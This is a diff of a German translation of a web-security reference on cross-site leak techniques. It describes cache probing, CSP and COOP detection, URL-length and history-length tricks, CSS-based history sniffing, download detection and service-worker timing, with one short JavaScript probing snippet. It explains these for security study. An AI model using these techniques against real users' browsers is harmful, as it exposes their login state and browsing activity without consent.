Ein XS-Leak kann die CSP verwenden, um zu erkennen, ob eine Cross-Origin-Website auf eine andere Herkunft umgeleitet wurde. Dieses Leck kann die Umleitung erkennen, aber zusätzlich wird die Domain des Umleitungsziels offengelegt. Die Grundidee dieses Angriffs besteht darin, **die Ziel-Domain auf der Angreifer-Website zuzulassen**. Sobald eine Anfrage an die Ziel-Domain gesendet wird, **leitet sie** zu einer Cross-Origin-Domain um. **CSP blockiert** den Zugriff darauf und erstellt einen **Verletzungsbericht, der als Leak-Technik verwendet wird**. Je nach Browser **kann dieser Bericht den Zielort der Umleitung offenbaren**.\
|
||||
Ein XS-Leak kann die CSP verwenden, um zu erkennen, ob eine Cross-Origin-Website auf eine andere Herkunft umgeleitet wurde. Dieses Leck kann die Umleitung erkennen, aber zusätzlich wird die Domain des Umleitungsziels offengelegt. Die Grundidee dieses Angriffs besteht darin, **die Ziel-Domain auf der Angreifer-Website zuzulassen**. Sobald eine Anfrage an die Ziel-Domain gesendet wird, **leitet sie** zu einer Cross-Origin-Domain um. **CSP blockiert** den Zugriff darauf und erstellt einen **Verletzungsbericht, der als Lecktechnik verwendet wird**. Je nach Browser **kann dieser Bericht den Zielort der Umleitung offenbaren**.\
|
||||
Moderne Browser zeigen nicht die URL an, zu der umgeleitet wurde, aber man kann dennoch erkennen, dass eine Cross-Origin-Umleitung ausgelöst wurde.
|
||||
|
||||
### Cache
|
||||
@ -511,7 +511,7 @@ Moderne Browser zeigen nicht die URL an, zu der umgeleitet wurde, aber man kann
|
||||
- **Zusammenfassung:** Löschen Sie die Datei aus dem Cache. Öffnet die Zielseite und überprüft, ob die Datei im Cache vorhanden ist.
|
||||
- **Codebeispiel:**
|
||||
|
||||
Browser könnten einen gemeinsamen Cache für alle Websites verwenden. Unabhängig von ihrer Herkunft ist es möglich abzuleiten, ob eine Zielseite **eine bestimmte Datei angefordert hat**.
|
||||
Browser könnten einen gemeinsamen Cache für alle Websites verwenden. Unabhängig von ihrer Herkunft ist es möglich zu deduzieren, ob eine Zielseite **eine bestimmte Datei angefordert hat**.
|
||||
|
||||
Wenn eine Seite ein Bild nur lädt, wenn der Benutzer angemeldet ist, können Sie die **Ressource ungültig machen** (damit sie nicht mehr im Cache ist, siehe weitere Informationslinks), **eine Anfrage durchführen**, die diese Ressource laden könnte, und versuchen, die Ressource **mit einer fehlerhaften Anfrage** zu laden (z. B. mit einem zu langen Referer-Header). Wenn das Laden der Ressource **keinen Fehler ausgelöst hat**, liegt es daran, dass sie **im Cache war**.
|
||||
|
||||
@ -520,10 +520,10 @@ Wenn eine Seite ein Bild nur lädt, wenn der Benutzer angemeldet ist, können Si
|
||||
- **Einbeziehungsmethoden**: Frames
|
||||
- **Erkennbare Unterschiede**: Header
|
||||
- **Weitere Informationen**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
||||
- **Zusammenfassung:** CSP-Header-Direktiven können mit dem CSP-iFrame-Attribut abgefragt werden, wodurch Richtliniendetails offengelegt werden.
|
||||
- **Zusammenfassung:** CSP-Header-Direktiven können mit dem CSP-iFrame-Attribut getestet werden, wodurch Richtliniendetails offengelegt werden.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||||
|
||||
Eine neuartige Funktion in Google Chrome (GC) ermöglicht es Webseiten, eine **Content Security Policy (CSP)** vorzuschlagen, indem sie ein Attribut auf einem iFrame-Element festlegen, wobei die Richtliniendirektiven zusammen mit der HTTP-Anfrage übertragen werden. Normalerweise muss der eingebettete Inhalt **dies über einen HTTP-Header autorisieren**, oder es wird eine **Fehlerseite angezeigt**. Wenn das iFrame jedoch bereits durch eine CSP geregelt ist und die neu vorgeschlagene Richtlinie nicht restriktiver ist, wird die Seite normal geladen. Dieser Mechanismus eröffnet einem Angreifer die Möglichkeit, **spezifische CSP-Direktiven** einer Cross-Origin-Seite zu erkennen, indem er die Fehlerseite identifiziert. Obwohl diese Schwachstelle als behoben markiert wurde, zeigen unsere Erkenntnisse eine **neue Leak-Technik**, die in der Lage ist, die Fehlerseite zu erkennen, was darauf hindeutet, dass das zugrunde liegende Problem nie vollständig behoben wurde.
|
||||
Eine neuartige Funktion in Google Chrome (GC) ermöglicht es Webseiten, eine **Content Security Policy (CSP)** vorzuschlagen, indem sie ein Attribut auf einem iFrame-Element festlegen, wobei die Richtliniendirektiven zusammen mit der HTTP-Anfrage übertragen werden. Normalerweise muss der eingebettete Inhalt **dies über einen HTTP-Header autorisieren**, oder es wird eine **Fehlerseite angezeigt**. Wenn das iFrame jedoch bereits durch eine CSP geregelt ist und die neu vorgeschlagene Richtlinie nicht restriktiver ist, wird die Seite normal geladen. Dieser Mechanismus eröffnet einem Angreifer die Möglichkeit, **spezifische CSP-Direktiven** einer Cross-Origin-Seite zu erkennen, indem er die Fehlerseite identifiziert. Obwohl diese Schwachstelle als behoben markiert wurde, zeigen unsere Erkenntnisse eine **neue Lecktechnik**, die in der Lage ist, die Fehlerseite zu erkennen, was darauf hindeutet, dass das zugrunde liegende Problem nie vollständig behoben wurde.
|
||||
|
||||
### **CORP**
|
||||
|
||||
@ -553,7 +553,7 @@ Der CORP-Header ist ein relativ neues Sicherheitsmerkmal der Webplattform, das,
|
||||
- **Zusammenfassung**: Wenn der Origin-Header im Header `Access-Control-Allow-Origin` reflektiert wird, ist es möglich zu überprüfen, ob eine Ressource bereits im Cache ist.
|
||||
- **Codebeispiel**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
Falls der **Origin-Header** im Header `Access-Control-Allow-Origin` **reflektiert** wird, kann ein Angreifer dieses Verhalten ausnutzen, um zu versuchen, die **Ressource** im **CORS**-Modus abzurufen. Wenn kein **Fehler** **ausgelöst wird**, bedeutet das, dass sie **korrekt vom Web abgerufen wurde**. Wenn ein Fehler **ausgelöst wird**, liegt es daran, dass sie **aus dem Cache abgerufen wurde** (der Fehler tritt auf, weil der Cache eine Antwort mit einem CORS-Header speichert, der die ursprüngliche Domain und nicht die Domain des Angreifers erlaubt).\
|
||||
Falls der **Origin-Header** im Header `Access-Control-Allow-Origin` **reflektiert** wird, kann ein Angreifer dieses Verhalten ausnutzen, um zu versuchen, die **Ressource** im **CORS**-Modus abzurufen. Wenn ein **Fehler** **nicht** ausgelöst wird, bedeutet das, dass sie **korrekt vom Web abgerufen wurde**, wenn ein Fehler **ausgelöst wird**, liegt es daran, dass sie **aus dem Cache abgerufen wurde** (der Fehler tritt auf, weil der Cache eine Antwort mit einem CORS-Header speichert, der die ursprüngliche Domain und nicht die Domain des Angreifers erlaubt).\
|
||||
Beachten Sie, dass dies nicht funktioniert, wenn der Origin nicht reflektiert wird, aber ein Platzhalter verwendet wird (`Access-Control-Allow-Origin: *`).
|
||||
|
||||
## Lesbare Attributtechnik
|
||||
@ -576,17 +576,17 @@ Durch das Einreichen einer Anfrage mit der Fetch API mit `redirect: "manual"` un
|
||||
- **Zusammenfassung:** Seiten, die durch die Cross-Origin Opener Policy (COOP) geschützt sind, verhindern den Zugriff von Cross-Origin-Interaktionen.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
Ein Angreifer kann die Anwesenheit des Cross-Origin Opener Policy (COOP)-Headers in einer Cross-Origin-HTTP-Antwort ableiten. COOP wird von Webanwendungen verwendet, um externe Seiten daran zu hindern, beliebige Fensterreferenzen zu erhalten. Die Sichtbarkeit dieses Headers kann erkannt werden, indem versucht wird, auf die **`contentWindow`-Referenz** zuzugreifen. In Szenarien, in denen COOP bedingt angewendet wird, wird die **`opener`-Eigenschaft** zu einem deutlichen Indikator: Sie ist **undefiniert**, wenn COOP aktiv ist, und **definiert** in dessen Abwesenheit.
|
||||
Ein Angreifer kann das Vorhandensein des Cross-Origin Opener Policy (COOP)-Headers in einer Cross-Origin-HTTP-Antwort ableiten. COOP wird von Webanwendungen verwendet, um externe Seiten daran zu hindern, beliebige Fensterreferenzen zu erhalten. Die Sichtbarkeit dieses Headers kann erkannt werden, indem versucht wird, auf die **`contentWindow`-Referenz** zuzugreifen. In Szenarien, in denen COOP bedingt angewendet wird, wird die **`opener`-Eigenschaft** zu einem deutlichen Indikator: Sie ist **undefiniert**, wenn COOP aktiv ist, und **definiert** in dessen Abwesenheit.
|
||||
|
||||
### URL-Maximal-Länge - Serverseite
|
||||
|
||||
- **Einbeziehungsmethoden**: Fetch API, HTML-Elemente
|
||||
- **Erkennbare Unterschiede**: Statuscode / Inhalt
|
||||
- **Weitere Informationen**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
|
||||
- **Zusammenfassung:** Unterschiede in den Antworten erkennen, weil die Länge der Umleitungsantwort möglicherweise zu groß ist, sodass der Server mit einem Fehler antwortet und ein Alarm ausgelöst wird.
|
||||
- **Zusammenfassung:** Unterschiede in den Antworten erkennen, weil die Länge der Umleitungsantwort zu groß sein könnte, sodass der Server mit einem Fehler antwortet und ein Alarm ausgelöst wird.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
Wenn eine serverseitige Umleitung **Benutzereingaben innerhalb der Umleitung** und **zusätzliche Daten** verwendet, ist es möglich, dieses Verhalten zu erkennen, da **Server** normalerweise eine **Längenbeschränkung für Anfragen** haben. Wenn die **Benutzerdaten** diese **Länge - 1** haben, weil die **Umleitung** **diese Daten** verwendet und **etwas zusätzliches hinzufügt**, wird ein **Fehler ausgelöst, der über Fehlerereignisse erkennbar ist**.
|
||||
Wenn eine serverseitige Umleitung **Benutzereingaben innerhalb der Umleitung** und **zusätzliche Daten** verwendet. Es ist möglich, dieses Verhalten zu erkennen, da **Server** normalerweise eine **Längenbeschränkung für Anfragen** haben. Wenn die **Benutzerdaten** diese **Länge - 1** haben, weil die **Umleitung** **diese Daten** verwendet und **etwas zusätzliches hinzufügt**, wird ein **Fehler ausgelöst, der über Fehlerereignisse erkennbar ist**.
|
||||
|
||||
Wenn Sie irgendwie Cookies für einen Benutzer setzen können, können Sie diesen Angriff auch durchführen, indem Sie **genug Cookies setzen** ([**Cookie-Bombe**](../hacking-with-cookies/cookie-bomb.md)), sodass mit der **erhöhten Größe der Antwort** der **korrekten Antwort** ein **Fehler** ausgelöst wird. In diesem Fall denken Sie daran, dass, wenn Sie diese Anfrage von einer gleichen Seite aus auslösen, `<script>` automatisch die Cookies sendet (damit Sie nach Fehlern suchen können).\
|
||||
Ein Beispiel für die **Cookie-Bombe + XS-Search** finden Sie in der beabsichtigten Lösung dieses Berichts: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
@ -598,7 +598,7 @@ Ein Beispiel für die **Cookie-Bombe + XS-Search** finden Sie in der beabsichtig
|
||||
- **Einbeziehungsmethoden**: Pop-ups
|
||||
- **Erkennbare Unterschiede**: Statuscode / Inhalt
|
||||
- **Weitere Informationen**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **Zusammenfassung:** Unterschiede in den Antworten erkennen, weil die Länge der Umleitungsantwort möglicherweise zu groß für eine Anfrage ist, sodass ein Unterschied bemerkt werden kann.
|
||||
- **Zusammenfassung:** Unterschiede in den Antworten erkennen, weil die Länge der Umleitungsantwort zu groß für eine Anfrage sein könnte, sodass ein Unterschied bemerkt werden kann.
|
||||
- **Codebeispiel**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
|
||||
Laut [Chromium-Dokumentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) beträgt die maximale URL-Länge von Chrome 2 MB.
|
||||
@ -607,7 +607,7 @@ Laut [Chromium-Dokumentation](https://chromium.googlesource.com/chromium/src/+/m
|
||||
|
||||
Daher, wenn die **Umleitungs-URL in einem der Fälle größer ist**, ist es möglich, sie mit einer **URL größer als 2 MB** umleiten zu lassen, um das **Längenlimit** zu erreichen. Wenn dies geschieht, zeigt Chrome eine **`about:blank#blocked`**-Seite an.
|
||||
|
||||
Der **erhebliche Unterschied** besteht darin, dass, wenn die **Umleitung** **abgeschlossen** wurde, `window.origin` einen **Fehler** auslöst, da eine Cross-Origin nicht auf diese Informationen zugreifen kann. Wenn jedoch das **Limit** **erreicht** wurde und die geladene Seite **`about:blank#blocked`** war, bleibt der **`origin`** des Fensters der des **Elternteils**, was eine **zugängliche Information** ist.
|
||||
Der **erkennbare Unterschied** besteht darin, dass, wenn die **Umleitung** **abgeschlossen** wurde, `window.origin` einen **Fehler** auslöst, da eine Cross-Origin nicht auf diese Informationen zugreifen kann. Wenn jedoch das **Limit** erreicht wurde und die geladene Seite **`about:blank#blocked`** war, bleibt der **`origin`** des Fensters der des **Elternteils**, was eine **zugängliche Information** ist.
|
||||
|
||||
Alle zusätzlichen Informationen, die benötigt werden, um die **2 MB** zu erreichen, können über einen **Hash** in der ursprünglichen URL hinzugefügt werden, sodass er **bei der Umleitung verwendet wird**.
|
||||
|
||||
@ -639,11 +639,11 @@ Die **History API** ermöglicht es JavaScript-Code, den Browserverlauf zu manipu
|
||||
### Verlaufslänge mit derselben URL
|
||||
|
||||
- **Einbeziehungsmethoden**: Frames, Pop-ups
|
||||
- **Erkennbare Unterschiede**: Wenn die URL dieselbe ist wie die erratene
|
||||
- **Erkennbare Unterschiede**: Wenn die URL die gleiche ist wie die vermutete
|
||||
- **Zusammenfassung:** Es ist möglich zu erraten, ob sich der Standort eines Frames/Pops in einer bestimmten URL befindet, indem die Verlaufslänge ausgenutzt wird.
|
||||
- **Codebeispiel**: Unten
|
||||
|
||||
Ein Angreifer könnte JavaScript-Code verwenden, um die **Position des Frames/Pops auf eine erratene** zu **manipulieren** und sie **sofort** auf `about:blank` **zu ändern**. Wenn die Verlaufslänge zunimmt, bedeutet das, dass die URL korrekt war und Zeit hatte, **zuzunehmen, weil die URL nicht neu geladen wird, wenn sie dieselbe ist**. Wenn sie nicht zunahm, bedeutet das, dass sie **versucht hat, die erratene URL zu laden**, aber weil wir **sofort danach** **`about:blank`** geladen haben, hat sich die **Verlaufslänge nie erhöht**, als die erratene URL geladen wurde.
|
||||
Ein Angreifer könnte JavaScript-Code verwenden, um die **Position des Frames/Pops auf eine vermutete** zu **manipulieren** und sie **sofort** auf `about:blank` **zu ändern**. Wenn die Verlaufslänge zunimmt, bedeutet das, dass die URL korrekt war und Zeit hatte, sich zu **erhöhen, weil die URL nicht neu geladen wird, wenn sie dieselbe ist**. Wenn sie nicht zunahm, bedeutet das, dass sie **versucht hat, die vermutete URL zu laden**, aber weil wir **sofort danach** **`about:blank`** geladen haben, hat sich die **Verlaufslänge nie erhöht**, als die vermutete URL geladen wurde.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -682,7 +682,7 @@ Ein Beispiel für diese Technik ist, dass in Chrome ein **PDF** mit **Frame Coun
|
||||
- **Summary:** Lesen Sie den geleakten Wert, um zwischen 2 möglichen Zuständen zu unterscheiden
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
Informationslecks durch HTML-Elemente sind ein Anliegen in der Websicherheit, insbesondere wenn dynamische Mediendateien basierend auf Benutzerinformationen generiert werden oder wenn Wasserzeichen hinzugefügt werden, die die Mediengröße ändern. Dies kann von Angreifern ausgenutzt werden, um zwischen möglichen Zuständen zu unterscheiden, indem sie die Informationen analysieren, die von bestimmten HTML-Elementen offengelegt werden.
|
||||
Informationslecks durch HTML-Elemente sind ein Anliegen in der Websicherheit, insbesondere wenn dynamische Mediendateien basierend auf Benutzerinformationen generiert werden oder wenn Wasserzeichen hinzugefügt werden, die die Mediengröße verändern. Dies kann von Angreifern ausgenutzt werden, um zwischen möglichen Zuständen zu unterscheiden, indem sie die Informationen analysieren, die von bestimmten HTML-Elementen offengelegt werden.
|
||||
|
||||
### Information Exposed by HTML Elements
|
||||
|
||||
@ -699,7 +699,7 @@ Informationslecks durch HTML-Elemente sind ein Anliegen in der Websicherheit, in
|
||||
- **Summary:** Identifizieren Sie Variationen im Website-Styling, die mit dem Status oder Zustand des Benutzers korrelieren.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
|
||||
|
||||
Webanwendungen können das **Website-Styling je nach Status des Benutzers** ändern. Cross-Origin-CSS-Dateien können auf der Angreiferseite mit dem **HTML-Link-Element** eingebettet werden, und die **Regeln** werden auf die Angreiferseite **angewendet**. Wenn eine Seite diese Regeln dynamisch ändert, kann ein Angreifer diese **Unterschiede** je nach Benutzerstatus **erkennen**.\
|
||||
Webanwendungen können das **Website-Styling** je nach Status des Benutzers ändern. Cross-Origin-CSS-Dateien können auf der Angreifer-Seite mit dem **HTML-Link-Element** eingebettet werden, und die **Regeln** werden auf die Angreifer-Seite **angewendet**. Wenn eine Seite diese Regeln dynamisch ändert, kann ein Angreifer diese **Unterschiede** je nach Benutzerstatus **erkennen**.\
|
||||
Als Leak-Technik kann der Angreifer die Methode `window.getComputedStyle` verwenden, um **CSS**-Eigenschaften eines bestimmten HTML-Elements zu **lesen**. Infolgedessen kann ein Angreifer beliebige CSS-Eigenschaften lesen, wenn das betroffene Element und der Eigenschaftsname bekannt sind.
|
||||
|
||||
### CSS History
|
||||
@ -717,7 +717,7 @@ Der CSS-Selektor `:visited` wird verwendet, um URLs anders zu stylen, wenn sie z
|
||||
|
||||
Trotz dieser Einschränkungen ist es möglich, den besuchten Status eines Links indirekt zu erkennen. Eine Technik besteht darin, den Benutzer dazu zu bringen, mit einem Bereich zu interagieren, der von CSS betroffen ist, insbesondere unter Verwendung der Eigenschaft `mix-blend-mode`. Diese Eigenschaft ermöglicht das Mischen von Elementen mit ihrem Hintergrund, was möglicherweise den besuchten Status basierend auf der Benutzerinteraktion offenbart.
|
||||
|
||||
Darüber hinaus kann die Erkennung ohne Benutzerinteraktion durch Ausnutzung der Renderzeiten von Links erreicht werden. Da Browser besuchte und unbesuchte Links unterschiedlich rendern können, kann dies einen messbaren Zeitunterschied im Rendering einführen. Ein Proof of Concept (PoC) wurde in einem Chromium-Bugbericht erwähnt, der diese Technik demonstriert, indem mehrere Links verwendet werden, um den Zeitunterschied zu verstärken, wodurch der besuchte Status durch Zeitanalysen erkennbar wird.
|
||||
Darüber hinaus kann die Erkennung ohne Benutzerinteraktion durch Ausnutzung der Renderzeiten von Links erreicht werden. Da Browser besuchte und unbesuchte Links möglicherweise unterschiedlich rendern, kann dies einen messbaren Zeitunterschied im Rendering einführen. Ein Proof of Concept (PoC) wurde in einem Chromium-Bugbericht erwähnt, der diese Technik demonstriert, indem mehrere Links verwendet werden, um den Zeitunterschied zu verstärken, wodurch der besuchte Status durch Zeitanalysen erkennbar wird.
|
||||
|
||||
Für weitere Details zu diesen Eigenschaften und Methoden besuchen Sie deren Dokumentationsseiten:
|
||||
|
||||
@ -730,10 +730,10 @@ Für weitere Details zu diesen Eigenschaften und Methoden besuchen Sie deren Dok
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Header
|
||||
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
||||
- **Summary:** In Google Chrome wird eine spezielle Fehlermeldung angezeigt, wenn eine Seite aufgrund von X-Frame-Options-Beschränkungen nicht in eine Cross-Origin-Seite eingebettet werden kann.
|
||||
- **Summary:** In Google Chrome wird eine spezielle Fehlerseite angezeigt, wenn eine Seite aufgrund von X-Frame-Options-Beschränkungen nicht in eine Cross-Origin-Seite eingebettet werden kann.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||||
|
||||
In Chrome erscheint eine Fehlermeldung, wenn eine Seite mit dem `X-Frame-Options`-Header auf "deny" oder "same-origin" als Objekt eingebettet wird. Chrome gibt für die `contentDocument`-Eigenschaft dieses Objekts einzigartig ein leeres Dokumentobjekt (anstatt `null`) zurück, im Gegensatz zu iframes oder anderen Browsern. Angreifer könnten dies ausnutzen, indem sie das leere Dokument erkennen, was potenziell Informationen über den Status des Benutzers offenbaren könnte, insbesondere wenn Entwickler den X-Frame-Options-Header inkonsistent setzen und oft Fehlerseiten übersehen. Bewusstsein und konsistente Anwendung von Sicherheitsheadern sind entscheidend, um solche Lecks zu verhindern.
|
||||
In Chrome erscheint eine Fehlerseite, wenn eine Seite mit dem `X-Frame-Options`-Header auf "deny" oder "same-origin" als Objekt eingebettet wird. Chrome gibt für die `contentDocument`-Eigenschaft dieses Objekts einzigartig ein leeres Dokumentobjekt (anstatt `null`) zurück, im Gegensatz zu iframes oder anderen Browsern. Angreifer könnten dies ausnutzen, indem sie das leere Dokument erkennen, was potenziell Informationen über den Status des Benutzers offenbaren könnte, insbesondere wenn Entwickler den X-Frame-Options-Header inkonsistent setzen und oft Fehlerseiten übersehen. Bewusstsein und konsistente Anwendung von Sicherheitsheadern sind entscheidend, um solche Lecks zu verhindern.
|
||||
|
||||
### Download Detection
|
||||
|
||||
@ -743,14 +743,14 @@ In Chrome erscheint eine Fehlermeldung, wenn eine Seite mit dem `X-Frame-Options
|
||||
- **Summary:** Ein Angreifer kann Datei-Downloads erkennen, indem er iframes nutzt; die fortgesetzte Zugänglichkeit des iframes deutet auf einen erfolgreichen Datei-Download hin.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||||
|
||||
Der `Content-Disposition`-Header, speziell `Content-Disposition: attachment`, weist den Browser an, Inhalte herunterzuladen, anstatt sie inline anzuzeigen. Dieses Verhalten kann ausgenutzt werden, um zu erkennen, ob ein Benutzer Zugriff auf eine Seite hat, die einen Datei-Download auslöst. In Chromium-basierten Browsern gibt es einige Techniken, um dieses Download-Verhalten zu erkennen:
|
||||
Der `Content-Disposition`-Header, insbesondere `Content-Disposition: attachment`, weist den Browser an, Inhalte herunterzuladen, anstatt sie inline anzuzeigen. Dieses Verhalten kann ausgenutzt werden, um zu erkennen, ob ein Benutzer Zugriff auf eine Seite hat, die einen Datei-Download auslöst. In Chromium-basierten Browsern gibt es einige Techniken, um dieses Download-Verhalten zu erkennen:
|
||||
|
||||
1. **Überwachung der Download-Leiste**:
|
||||
- Wenn eine Datei in Chromium-basierten Browsern heruntergeladen wird, erscheint eine Download-Leiste am unteren Rand des Browserfensters.
|
||||
- Durch die Überwachung von Änderungen in der Fensterhöhe können Angreifer auf das Erscheinen der Download-Leiste schließen, was darauf hindeutet, dass ein Download initiiert wurde.
|
||||
2. **Download-Navigation mit Iframes**:
|
||||
- Wenn eine Seite einen Datei-Download mit dem `Content-Disposition: attachment`-Header auslöst, verursacht dies kein Navigationsereignis.
|
||||
- Durch das Laden des Inhalts in einem iframe und das Überwachen von Navigationsereignissen ist es möglich zu überprüfen, ob die Inhalts-Disposition einen Datei-Download verursacht (keine Navigation) oder nicht.
|
||||
- Durch das Laden des Inhalts in einem iframe und die Überwachung von Navigationsereignissen ist es möglich zu überprüfen, ob die Inhalts-Disposition einen Datei-Download verursacht (keine Navigation) oder nicht.
|
||||
3. **Download-Navigation ohne Iframes**:
|
||||
- Ähnlich wie bei der iframe-Technik besteht diese Methode darin, `window.open` anstelle eines iframes zu verwenden.
|
||||
- Die Überwachung von Navigationsereignissen im neu geöffneten Fenster kann offenbaren, ob ein Datei-Download ausgelöst wurde (keine Navigation) oder ob der Inhalt inline angezeigt wird (Navigation erfolgt).
|
||||
@ -772,7 +772,7 @@ In Szenarien, in denen nur angemeldete Benutzer solche Downloads auslösen könn
|
||||
Wenn eine Seite `example.com` eine Ressource von `*.example.com/resource` einbindet, hat diese Ressource den **gleichen Cache-Schlüssel**, als ob die Ressource direkt **durch eine Top-Level-Navigation angefordert** worden wäre. Das liegt daran, dass der Cache-Schlüssel aus dem Top-Level _eTLD+1_ und dem Frame _eTLD+1_ besteht.
|
||||
|
||||
Da der Zugriff auf den Cache schneller ist als das Laden einer Ressource, ist es möglich, zu versuchen, die Position einer Seite zu ändern und sie 20 ms (zum Beispiel) später abzubrechen. Wenn der Ursprung nach dem Abbruch geändert wurde, bedeutet dies, dass die Ressource im Cache war.\
|
||||
Oder man könnte einfach **einige Fetch-Anfragen an die potenziell im Cache gespeicherte Seite senden und die benötigte Zeit messen**.
|
||||
Oder man könnte einfach **einige Fetch-Anfragen an die potenziell gecachte Seite senden und die Zeit messen, die dafür benötigt wird**.
|
||||
|
||||
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||||
|
||||
@ -789,7 +789,7 @@ Oder man könnte einfach **einige Fetch-Anfragen an die potenziell im Cache gesp
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Timing
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
- **Summary:** Es ist möglich, zu versuchen, eine Ressource zu laden und das Laden abzubrechen, bevor sie geladen wird. Je nachdem, ob ein Fehler ausgelöst wird, war die Ressource im Cache oder nicht.
|
||||
- **Summary:** Es ist möglich, zu versuchen, eine Ressource zu laden und das Laden abzubrechen, bevor sie geladen wird. Je nachdem, ob ein Fehler ausgelöst wird, wurde die Ressource im Cache gespeichert oder nicht.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||||
|
||||
Verwenden Sie _**fetch**_ und _**setTimeout**_ mit einem **AbortController**, um sowohl zu erkennen, ob die **Ressource im Cache ist**, als auch um eine bestimmte Ressource aus dem Browser-Cache zu entfernen. Darüber hinaus erfolgt der Prozess, ohne neue Inhalte zu cachen.
|
||||
@ -807,20 +807,20 @@ Verwenden Sie _**fetch**_ und _**setTimeout**_ mit einem **AbortController**, um
|
||||
- **Inclusion Methods**: Pop-ups
|
||||
- **Detectable Difference**: Seiteninhalt
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
||||
- **Summary:** Messen Sie die Ausführungszeit eines Webs mit Service-Workern.
|
||||
- **Summary:** Messen Sie die Ausführungszeit einer Webseite mithilfe von Service Workern.
|
||||
- **Code Example**:
|
||||
|
||||
In dem gegebenen Szenario ergreift der Angreifer die Initiative, um einen **Service Worker** innerhalb einer ihrer Domains, speziell "attacker.com", zu registrieren. Anschließend öffnet der Angreifer ein neues Fenster auf der Zielwebsite aus dem Hauptdokument und weist den **Service Worker** an, einen Timer zu starten. Während das neue Fenster zu laden beginnt, navigiert der Angreifer die Referenz, die im vorherigen Schritt erhalten wurde, zu einer von dem **Service Worker** verwalteten Seite.
|
||||
|
||||
Bei Eintreffen der Anfrage, die im vorherigen Schritt initiiert wurde, antwortet der **Service Worker** mit einem **204 (No Content)**-Statuscode und beendet effektiv den Navigationsprozess. Zu diesem Zeitpunkt erfasst der **Service Worker** eine Messung vom zuvor in Schritt zwei gestarteten Timer. Diese Messung wird durch die Dauer von JavaScript beeinflusst, die Verzögerungen im Navigationsprozess verursacht.
|
||||
Sobald die Anfrage, die im vorherigen Schritt initiiert wurde, eintrifft, antwortet der **Service Worker** mit einem **204 (No Content)**-Statuscode, wodurch der Navigationsprozess beendet wird. Zu diesem Zeitpunkt erfasst der **Service Worker** eine Messung vom zuvor in Schritt zwei gestarteten Timer. Diese Messung wird durch die Dauer von JavaScript beeinflusst, die Verzögerungen im Navigationsprozess verursacht.
|
||||
|
||||
> [!WARNING]
|
||||
> Bei einer Ausführungszeitmessung ist es möglich, **Netzwerkfaktoren zu eliminieren**, um **genauere Messungen** zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden geladen werden.
|
||||
> Bei einer Ausführungszeitmessung ist es möglich, **Netzwerkfaktoren** zu **eliminieren**, um **genauere Messungen** zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden geladen werden.
|
||||
|
||||
### Fetch Timing
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
|
||||
- **Detectable Difference**: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
|
||||
